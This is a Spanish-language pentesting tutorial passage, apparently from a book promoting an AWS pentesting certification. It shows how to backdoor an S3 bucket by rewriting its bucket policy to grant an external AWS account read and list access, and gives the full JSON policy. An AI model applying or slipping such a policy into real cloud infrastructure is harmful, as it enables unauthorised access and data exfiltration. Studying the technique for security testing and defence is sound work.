Backdorizando un Bucket S3 utilizando la politica del Bucket

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este contenido se adentra en una técnica avanzada de post-explotación, crucial para entender cómo maximizar el impacto de un ataque una vez que se ha conseguido penetrar en un sistema. Es importante recalcar que la ejecución de esta técnica presupone que el atacante o consultor ya ha obtenido ciertos niveles de privilegios dentro de la infraestructura objetivo. Sin estos privilegios, llevar a cabo el ataque explicado aquí no sería posible. Proceder con cautela y siempre dentro del marco legal y ético es fundamental.

El compromiso de un bucket de S3 a través de su política de bucket implica la modificación de dicha política para permitir el acceso no autorizado al bucket. Al lograr esto, un atacante obtiene la capacidad de exfiltrar datos, comprometiendo la confidencialidad de la información almacenada. Para llevar a cabo este tipo de ataque, el atacante requeriría permisos que le permitan modificar las políticas de bucket de S3. Esto podría lograrse mediante el compromiso de credenciales de un usuario con dichos permisos o a través de una configuración incorrecta que expusiera la política de bucket a modificaciones no autorizadas.

Suponiendo que el ID de la cuenta comprometida es 10987654321 se debe poner atencion que el ID del objeto llamado AWS tiene otro valor que corresponde a una cuenta externa.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::012345678901:root"
      },
      "Action": [
        "s3:GetObject",
        "s3:GetBucketLocation",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::mybucket/*",
        "arn:aws:s3:::mybucket"
      ]
    }
  ]
}

Este código modifica la Política de Bucket para otorgar acceso a una cuenta externa de AWS especificada por el ARN arn:aws:iam::012345678901:root. A la cuenta especificada se le otorgan permisos para realizar acciones como s3:GetObject, s3:GetBucketLocation y s3:ListBucket sobre el bucket identificado por mybucket. Sin embargo, este enfoque es no conforme porque facilita el acceso no autorizado al bucket de S3, posibilitando que un atacante exfiltre datos sensibles.

Última actualización